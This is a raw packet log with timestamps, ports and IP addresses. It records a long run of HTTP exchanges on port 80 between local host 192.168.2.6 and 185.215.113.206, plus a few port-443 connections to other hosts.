Nov 23, 2024 09:16:57.114787102 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.115675926 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.115767956 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.115782022 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.115854979 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.116811991 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.116868973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.116887093 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.116959095 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.117851973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.117927074 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.118078947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.118140936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.118910074 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.118984938 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.119021893 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.119153023 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.120019913 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.120125055 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.120141029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.120213985 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.121095896 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.121171951 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.121208906 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.121252060 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.122175932 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.122236013 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.122266054 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.122471094 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.123291969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.123351097 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.123399973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.123503923 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.124428988 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.124476910 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.124541998 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.124582052 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.125432968 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.125494957 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.125540972 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.125576019 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.126523972 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.126602888 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.126624107 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.126812935 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.127590895 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.127665043 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.127712965 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.127784014 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.128701925 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.128767014 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.128808022 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.128854036 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.129780054 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.129842997 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.129864931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.129939079 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.130840063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.130903959 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.130938053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.131062984 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.131923914 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.131992102 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.132034063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.132076979 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.133038998 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.133126020 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.133132935 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.133200884 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.134201050 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.134272099 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.134325027 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.134367943 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.135188103 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.135263920 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.135353088 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.135516882 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.136281967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.136333942 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.136343956 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.136425018 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.137367964 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.137438059 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.137475014 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.137516975 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.138478041 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.138565063 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.138581038 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.138633966 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.139519930 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.139590979 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.139617920 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.139843941 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.140610933 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.140736103 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.140801907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.141686916 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.141748905 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.141804934 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.141858101 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.142805099 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.142880917 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.142896891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.142947912 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.143862963 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.143934965 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.143970966 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.144166946 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.144967079 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.145042896 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.145154953 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.145206928 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.146045923 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.146146059 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.146148920 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.146230936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.147133112 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.147207975 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.147223949 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.147289038 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.148276091 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.148344040 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.148386955 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.148587942 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.149288893 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.149352074 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.149399996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.149513006 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.150342941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.150434017 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.233138084 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.233228922 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.233247995 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.233299017 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.233659029 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.233808994 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.233856916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.234699965 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.234812021 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.234836102 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.234906912 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.235917091 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.235968113 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.236002922 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.236562014 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.236908913 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.236974955 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.237016916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.237993002 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.238065958 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.238142014 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.238281012 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.239094019 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.239159107 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.239164114 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.239255905 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.301167011 CET	49901	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:57.301206112 CET	443	49901	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:57.301337004 CET	49901	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:57.301631927 CET	49901	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:57.301646948 CET	443	49901	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:57.302335978 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.302402020 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.302452087 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.302489996 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.302802086 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.302865028 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.302887917 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.302932978 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.303905964 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.303960085 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.304013014 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.304056883 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.304986954 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.305042028 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.305083990 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.305257082 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.306122065 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.306134939 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.306204081 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.307176113 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.307302952 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.307334900 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.307370901 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.308330059 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.308391094 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.308429003 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.308480978 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.309343100 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.309390068 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.309449911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.309600115 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.310432911 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.310549021 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.310662031 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.311511040 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.311625004 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.311695099 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.312587976 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.312652111 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.312690020 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.312746048 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.313689947 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.313745975 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.313781977 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.313822031 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.314753056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.314814091 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.314846992 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.314888954 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.315860033 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.315921068 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.315978050 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.316025019 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.317015886 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.317079067 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.317111969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.317265034 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.318046093 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.318130016 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.318166971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.318267107 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.319114923 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.319181919 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.319184065 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.319257021 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.320231915 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.320280075 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.320316076 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.320369005 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.321294069 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.321350098 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.321384907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.321399927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.322395086 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.322482109 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.322493076 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.322539091 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.323467970 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.323528051 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.323659897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.323757887 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.324565887 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.324661970 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.324723005 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.325607061 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.325663090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.325746059 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.325792074 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.326690912 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.326745033 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.326790094 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.326837063 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.327775955 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.327841043 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.327842951 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.327908993 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.328860998 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.328913927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.328964949 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.329008102 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.329067945 CET	49872	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:57.329967976 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.329979897 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.330030918 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.331013918 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.331074953 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.331110001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.331212997 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.332113028 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.332171917 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.332209110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.332453012 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.333198071 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.333266973 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.333302021 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.333380938 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.334276915 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.334330082 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.334434986 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.334522963 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.334912062 CET	443	49894	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.335165024 CET	49894	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.335175991 CET	443	49894	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.335547924 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.335663080 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.335735083 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.336422920 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.336478949 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.336576939 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.336615086 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.337528944 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.337604046 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.337641001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.337696075 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.338604927 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.338663101 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.338716984 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.338783026 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.338792086 CET	443	49894	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.339133024 CET	49894	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.339190960 CET	49894	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.339307070 CET	49894	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.339391947 CET	443	49894	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.339703083 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.339770079 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.339818001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.339878082 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.340789080 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.340831041 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.340976000 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.341865063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.341970921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.341974974 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.342036963 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.342946053 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.342995882 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.343051910 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.343170881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.344037056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.344156981 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.344218969 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.345140934 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.345204115 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.345240116 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.345392942 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.346219063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.346276045 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.346314907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.346357107 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.347330093 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.347378969 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.347414970 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.347465038 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.348386049 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.348498106 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.348526955 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.348539114 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.349450111 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.349515915 CET	80	49816	185.215.113.206	192.168.2.6
